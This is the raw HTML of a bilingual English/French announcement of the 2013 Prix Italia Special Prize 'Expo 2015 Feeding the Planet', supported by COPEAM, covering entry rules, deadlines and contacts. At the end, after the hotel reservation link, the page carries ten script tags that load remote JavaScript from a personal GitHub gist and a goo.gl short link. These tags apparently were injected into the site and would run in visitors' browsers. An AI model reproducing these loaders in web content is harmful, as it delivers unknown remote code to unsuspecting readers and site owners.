Content |
With a view to encouraging intercultural and professional exchange and to strengthening the Euro-Mediterranean audiovisual sector, <span data-scayt_word="COPEAM" data-scaytid= "1">COPEAM</span> supports the <strong>Prix Italia Special Prize “<em>Expo 2015 Feeding the Planet, Energy for Life</em>”</strong>, promoted by the “Milan Expo 2015 Spa” | | <div>La COPEAM a choisi de soutenir le <strong>Prix Spécial du Prix Italia « <em>Expo 2015 Nourrir la planète, Energie pour la vie </em>» - promu par Milan Expo 2015 S.p.A</strong>. - dans l’optique d’encourager les échanges interculturels et professionnels et de développer le secteur audio-visuel de la région euro-méditerranéenne. |
This special prize will be held within the framework of the <span data-scayt_word="65th" data-scaytid= "2">65<sup>th< /sup></span> Prix Italia in the <span data-scayt_word="centre" data-scaytid= "3">centre</span> of Torino (Italy), at RAI Headquarters, Via Verdi 31, from the <strong><span data-scayt_word="21st" data-scaytid= "4">21<sup>st< /sup></span> to the <span data-scayt_word="26th" data-scaytid= "7">26<sup>th< /sup></span> September 2013</strong>, which is due to be opened with a concert performed by <span data-scayt_word="Rai" data-scaytid= "8">Rai</span> National Symphony Orchestra. | | |
The provisional schedule of the Event will shortly be available on the Prix Italia website: <a href="http:// www.prixitalia.rai.it" >www.prixitalia.rai.it</a>. | | |
| | <div id="pag_presentation">La récompense sera attribuée lors de la 65<sup>ème</sup> édition du Prix Italia qui se tiendra du <strong>21 au 26 septembre 2013 </strong>au siège de la Rai – via Verdi, 31 Turin (Italie) – en plein cœur de la ville - avec, en cérémonie d’ouverture, un concert exécuté par l’Orchestre Symphonique National de la Rai.Le programme provisoire de cette 65<sup>ème</sup> édition sera disponible sous peu sur le site de Prix Italia : <a href="http:// www.prixitalia.rai.it" >www.prixitalia.rai.it</a>. |
As an experiment, in the year 2013, two prizes are being awarded: | | A titre expérimental, deux prix seront attribués en 2013 : |
•A prize for<strong> TV broadcasters which are Prix Italia members</strong>
| | • un prix décerné aux <strong>télédiffuseurs membres du Prix Italia</strong> ;
|
•A prize for <strong>TV broadcasters, independent producers and production companies </strong>– holders of the rights of <span data-scayt_word= "programmes" data-scaytid= "9">programmes</span> presented in the competition – from countries of the Mediterranean Basin and <strong>members of <span data-scayt_word="COPEAM" data-scaytid= "10">COPEAM</ span></strong> | | • un autre prix attribué aux <strong>télédiffuseurs, aux producteurs indépendants et aux sociétés de production </strong>– détenteurs des droits du programme en lice – des pays du bassin de la <strong>Méditerranée membres de la COPEAM </strong>(Conférence Permanente de l'Audiovisuel Méditerranéen). |
The <strong>deadlines </strong>for registering your <span data-scayt_word= "programmes" data-scaytid= "11">programmes</span> are as follows: | | |
| | Ci-dessous la procédure et les dates limites d’inscription : |
<span style="text-decoration: underline;">< strong>April 10</strong></span>
| | <span style="text-decoration: underline;"><strong>10 avril 2013</strong></span>
|
| | <ul> |
•<strong>Registration of the <span data-scayt_word= "programmes" data-scaytid= "12">programmes</span> through the Special Prize entry form, </strong>which is available (by using username and password) on the Prix Italia website <a href="http:// www.prixitalia.rai.it" >www.prixitalia.rai.it</a>. | | <li><strong>Enregistrement des programmes</strong> <strong>sur le formulaire d’inscription réservé au Prix Spécial </strong>(en insérant votre nom d’utilisateur et votre mot de passe),à votre disposition sur le site de Prix Italia : <a href="http:// www.prixitalia.rai.it" >www.prixitalia.rai.it</a>;</li> |
•The <strong>English and French summaries </strong>of the <span data-scayt_word= "programmes" data-scaytid= "16">programmes</span>, which should be preferably included in the special boxes at the bottom of the entry form or sent by e-mail to <a href="mailto: prixspecial@rai.it" >prixspecial@rai.it</a>. Due to the limited space in the publications, the <strong>summaries must not exceed 7 lines (840 characters</strong>)<strong> in each language.</strong> | | <li>Les <strong>synopsis en anglais et en français </strong>devront être, de préférence, introduits dans l’espace réservé situé au bas du formulaire ou bien envoyés par courriel à : <a href="mailto: prixspecial@rai.it" >prixspecial@rai.it</a> . En raison de la capacité restreinte de l’espace réservé, le texte des synopsis ne devra pas dépasser un <strong>maximum de 7 lignes (soit 840 caractères) dans chaque langue.</strong></li> |
<strong><span style="text-decoration: underline;">April 30</span></strong> | | |
| | </ul> |
| | <span style="text-decoration: underline;">< strong>30 avril 2013 </strong></span> |
•<strong>DVD </strong>of the <span data-scayt_word="programme" data-scaytid= "18">programme</span> (<strong>to be sent by courier directly to the Prix Italia Secretariat</strong>: Via Monte Santo, 52, 00195, Rome, Italy). | | Le matériel de support (<strong>DVD </strong>de chaque programme) devra être envoyé par Courrier International au <strong>Secrétariat du Prix Italia</strong> : Via Monte Santo, 52 – 00195 Rome (Italie). |
| | Les documents nécessaires à votre participation, à savoir : |
| | - Le <a href="http:// www.prixitalia.rai.it/2013/ pdf/PREMIO_SPECIALE_EXPO_ 2013_french.PDF" ><strong>réglement </strong></a>du Prix Spécial ;
|
| | - Le <a href="http:// prixentryform.rai.it/ specialprize- entry.asp"><strong>formulaire </strong></a> d’inscription réservé au Prix Spécial ;
|
| | - Le formulaire de réservation <a href="http:// www.prixitalia.rai.it/2013/ pdf/Hotel_Reservation_2013.pdf" ><strong>d’hôtel< /strong></a> |
The following documents may be found on the Prix Italia website <a href="http:// www.prixitalia.rai.it" >www.prixitalia.rai.it</a>.
| | sont disponibles sur le site de Prix Italia : <a href="http:// www.prixitalia.rai.it" >www.prixitalia.rai.it</a>.
|
•Special Prize <a href="http:// www.prixitalia.rai.it/2013/ pdf/PREMIO_SPECIALE_EXPO_ 2013_eng.PDF" ><strong>regulations< /strong></a>
| | |
•Special Prize <a href="http:// prixentryform.rai.it/ specialprize- entry.asp"><strong>entry form</strong></a>
| | |
| | Pour toute information complémentaire vous êtes prié de contacter la Responsable du Prix Spécial : |
| | Mme Tiziana Politi |
| | Tél : +39 06 36862342 |
| | e-mail : <a href="mailto: prixspecial@rai.it" >prixspecial@rai.it</a> |
| | </div> |
•<a href="http:// www.prixitalia.rai.it/2013/ pdf/Hotel_Reservation_2013.pdf" ><strong>Hotel </strong></a>reservation form <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
| | </div> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
|